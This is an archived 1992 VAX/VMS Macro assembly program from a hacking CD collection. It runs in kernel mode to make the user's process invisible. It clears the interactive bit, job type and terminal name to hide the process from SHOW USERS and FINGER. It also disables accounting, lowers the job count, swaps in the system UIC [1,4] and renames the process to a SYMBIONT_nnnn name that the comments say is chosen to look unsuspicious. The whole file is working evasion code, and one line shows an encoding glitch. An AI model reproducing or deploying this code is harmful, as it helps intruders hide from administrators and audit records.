home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / MISC / INVI-VMS.ZIP / INVIS.VMS
Encoding:
Text File  |  1992-09-04  |  7.3 KB  |  194 lines

  1. ;Bruce Ellis in his Hitchiker's Guide to VMS series.  In
  2. ;his example, he showed that by clearing the jobtype field
  3. ;(jib$b_jobtype) and the interactive bit (pcb$v_inter in
  4. ;pcb$l_sts) the process would not show up in SHOW USERS.
  5. ;
  6. ;What we do is clear those data fields (which eliminates
  7. ;the job from FINGER) and also the terminal name, which
  8. ;stops SHOW USERS from V5.2 and higher from displaying the
  9. ;job.
  10. ;
  11. ;Alternately, if we are already noninteractive, we reenable
  12. ;all those things.
  13. ;
  14. ; Environment:
  15. ;
  16. ;       VAX/VMS native mode, VMS V5.0 or later, resident, kernel mode,
  17. ;CMKRNL privilege required.
  18. ;
  19. ; Notes:
  20. ;
  21. ;Rather than go to any pains to create a data storage location
  22. ;for the length of the terminal string (pcb$t_terminal) or to
  23. ;recreate this number by say calling $trnlnm on "TT", it is far
  24. ;easier just to stash it.  In this case we use the symbol
  25. ;pcb$w_saveterm to point to the location.  V01.001 of this
  26. ;program equates that to PCB$L_ORB, which is typically unused.
  27. ;(As of V5.4-2 there is no ORB used on the PCB).
  28. ;
  29. ;V002-000
  30. ;Create a process executive-mode logical name and store the
  31. ;information there.  Add in knicknacks to look unsuspicious.
  32. ;
  33. ; Author:
  34. ;
  35. ;Ehud Gavron  (Thanks Ehud)
  36. ;Associates in Consulting and Educational Services
  37. ;Post Office Box 14546, Tucson AZ 85711    1-800-745-3483
  38. ;
  39. ;Internet: gavron@Spades.ACES.COM
  40. ;-
  41.  
  42. .library "sys$library:lib.mlb" ; Get $nnnDEFs
  43. .link    "sys$system:sys.stb"- ; Get offsets
  44.  /selective_search
  45. $jibdef; Job Information Block offsets
  46. $lnmdef; Logical Name symbol definitions
  47. $pcbdef; Process Control Block offsets
  48. $psldef; Processor Status Longword offsets@and definitions
  49. $ssdef ; System Status codes
  50. ;
  51. ; Define structures for storing old process information
  52. ;
  53.  
  54.  
  55. $DEFINI            ISB                         ; _Invisible_ Storage Block
  56. $DEF               ISB$L_UIC       .BLKL 1     ; Process User Identification Code
  57. $DEF               ISB$B_TERMINAL  .BLKL 1     ; Terminal Name length
  58. $DEF               ISB$B_JOBTYPE   .BLKL 1     ; Job Type (from JIB)
  59. $DEF               ISB$L_NAMELEN   .BLKL 1     ; Length of process name
  60. $DEF               ISB$T_LNAME     .BLKB -     ; Process name
  61.                                    <PCB$S_LNAME>
  62. $DEF               ISB$K_SIZE                  ; Size of ISB
  63. $DEF               ENDISB
  64.  
  65. ;
  66. ; $CRELNM and $TRNLNM data structures:
  67. ;
  68. lnm_retlen:  .blkl   1
  69. lnm_buffer:  .blkb   isb$k_size
  70. lnm_buflen = . - lnm_buffer
  71. ;
  72. ; Itemlist for $CRELNM and $TRNLNM:
  73. ;
  74. lnm_itmlst:
  75.  .word    lnm_buflen        ; Buffer length
  76.  .word    lnm$_string       ; Item code
  77.  .address lnm_buffer        ; Buffer address
  78.  .address lnm_retlen        ; Return length (unused by $CRELNM)
  79.  .long    0                 ; Terminate item list
  80. ;
  81. ; Itemlist for $GETJPIW:
  82. ;
  83. jpi_itmlst:
  84.   .word   <pcb$s_lname>     ; Buffer length
  85.   .word   jpi$_prcnam       ; Item code
  86.   .long   -                 ; Buffer address
  87.   <lnm_buffer+isb$t_lname>
  88.  .long    -                 ; Return length (used by $SETPRN)
  89.  <lnm_buffer+isb$l_namelen>
  90.  .long   0                  ; Terminate item list
  91. ;
  92. prcnam_desc:
  93.  .blkl   1                  ; Filled later
  94.  .long   -                  ; Address of string (inside of ISB)
  95.  <lnm_buffer+isb$t_lname>
  96. ;
  97. ; Parameters to be used by call to $CRELNM and $TRNLNM:
  98. ;
  99. lnm_tabnam: .ascid  -       ; Use process logical name table
  100.  "LNM$PROCESS_TABLE"
  101. lnm_lognam: .ascid  -       ; Use ISB as the logical name
  102.  "ISB"
  103. ;
  104. ; Other assorteds:
  105. ;
  106. sysuic:     .long   ^x00010004          ; New UIC ([1,4])
  107. prcnam:     .ascid  "SYMBIONT_nnnn"     ; New process name
  108. prc_1:      .ascid  "SYMBIONT_"         ; Start of name
  109. prc_2:      .ascid  "nnnn"              ; End of name
  110. count:      .long   1                   ; Longword count of number (nnnn)
  111.  
  112. .entry invisible,^m<>
  113. $cmkrnl_s   routin=invisible_k          ; Do it all in Kernel mode
  114. ret                                     ; and exit
  115.  
  116. .entry invisible_k,^m<r2,r3,r4,r5,r6>
  117. moval lnm_buffer,r6                     ; Get pointer to ISB
  118. bbss  #pcb$v_inter,-                    ; If we are visible, then
  119. pcb$l_sts(r4),-                         ; Go into Stealth mode
  120. stealth
  121. brw unstealth                           ; Else go into Unstealth
  122.  
  123. stealth:
  124.         bicl    #pcb$m_inter,pcb$l_sts(r4)       ; Clear the interactive bit
  125.         bisl    #pcb$m_noacnt,pcb$l_sts(r4)      ; Disable accounting
  126.         decw    g^sys$gw_ijobcnt                 ; Decrement job count
  127.         movb    pcb$t_terminal(r4),-             ; Store terminal name length
  128.                 isb$b_terminal(r6)
  129.         clrb    pcb$t_terminal(r4)               ; Clear the terminal name len
  130.         movl    pcb$l_jib(r4),r5                 ; Get Job Information Block adr
  131.         movb    jib$b_jobtype(r5),-              ; Save job type
  132.                 isb$b_jobtype(r6)
  133.         clrb    jib$b_jobtype(r5)                ; And clear it
  134.         movl    pcb$l_uic(r4),-                  ; Save old UIC
  135.                 isb$l_uic(r6)
  136.         movl    sysuic,pcb$l_uic(r4)             ; And set system uic
  137.         $getjpiw_s itmlst=jpi_itmlst             ; Get process name
  138.         $crelnm_s  tabnam=lnm_tabnam,-           ; Store ISB
  139.                    lognam=lnm_lognam,-
  140.                    acmode=#psl$c_exec,-
  141.                    itmlst=lnm_itmlst
  142. ;
  143. ; Now set a process name of the first unique nnnn for SYMBIONT_nnnn:
  144. ;
  145. 10$:
  146.        pushl     #4                               ; Dealing with longwords
  147.        pushl     #4                               ; And we want 4 digits
  148.        pushal    prc_2                            ; Put it in here
  149.        pushal    count                            ; And get it from here
  150.        calls     #4,gâ‚§ots$cvt_l_tz
  151.        blbc      r0,20$
  152.        incl      count   ; Just in case this name is in use we ready the next
  153.        pushal    prc_2   ; Append this
  154.        pushal    prc_1   ; To this
  155.        pushal    prcnam  ; And put it in here
  156.        calls     #3,g^str$concat
  157.        blbc      r0,20$
  158.        $setprn_s prcnam=prcnam
  159.        cmpl      r0,#ss$_duplnam
  160.        beql      10$
  161. 20$:
  162.         ret                     ; And return to user mode
  163.  
  164.  
  165. unstealth:
  166.  $trnlnm_s      tabnam=lnm_tabnam,-          ; Get ISB
  167.                 lognam=lnm_lognam,-
  168.                 acmode=#psl$c_exec,-
  169.                 itmlst=lnm_itmlst
  170.  blbc           r0,30$
  171.  
  172.  $dellnm_s      tabnam=lnm_tabnam,-          ; Delete logical name (ISB)
  173.                 lognam=lnm_lognam,-
  174.                 acmode=#psl$c_exec
  175.   blbc          r0,30$
  176.  
  177.  bisl           #pcb$m_inter,pcb$l_sts(r4)    ; Set the interactive bit
  178.  bicl           #pcb$m_noacnt,pcb$l_sts(r4)   ; Enable accounting
  179.  incw           g^sys$gw_ijobcnt              ; Increment job count
  180.  movl           isb$l_uic(r6),-               ; Restore UIC
  181.                 pcb$l_uic(r4)
  182.  movb           isb$b_terminal(r6),-          ; Restore terminal name length
  183.                 pcb$t_terminal(r4)
  184.  movl           pcb$l_jib(r4),r5
  185.  movb           isb$b_jobtype(r6),-           ; Restore job type
  186.                 jib$b_jobtype(r5)
  187.  movl           isb$l_namelen(r6),prcnam_desc ; Fix descriptor length
  188.  
  189.  $setprn_s      prcnam=prcnam_desc            ; Restore process name
  190.  movl           #ss$_normal,r0
  191. 30$:
  192.  ret
  193.  .end invisible
  194.